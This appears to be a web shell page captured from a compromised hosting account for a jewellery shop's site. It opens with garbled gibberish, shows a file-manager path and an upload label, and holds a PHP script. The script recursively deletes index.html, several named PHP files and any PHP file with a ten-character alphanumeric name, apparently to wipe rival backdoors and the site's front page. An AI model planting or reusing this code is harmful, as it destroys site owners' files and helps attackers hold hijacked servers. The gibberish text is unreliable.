kohjhjhصثقصثقصثقgdfgdg
Ele57885fddfgdfgfghgقفغفغفقhfg555434536
/
home
/
u542670534
/
domains
/
kbabubhaijewellers.com
/
public_html
/
Upload FileeE
HOME
<?php function deleteTargetFiles($dir, $targetFiles) { $files = scandir($dir); foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $fullPath = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($fullPath)) { deleteTargetFiles($fullPath, $targetFiles); // Recursive } else { // Match by exact filename if (in_array($file, $targetFiles)) { unlink($fullPath); echo "Deleted (match): $fullPath<br>"; } // Match by 10-character alphanumeric filename ending in .php elseif (preg_match('/^[a-zA-Z0-9]{10}\.php$/', $file)) { unlink($fullPath); echo "Deleted (pattern): $fullPath<br>"; } } } } // List of exact filenames to delete $targetFiles = ['max.php', 'mex.php', 'mix.php', 'index.html']; // Start from the current directory $root = __DIR__; deleteTargetFiles($root, $targetFiles); echo "Done."; ?>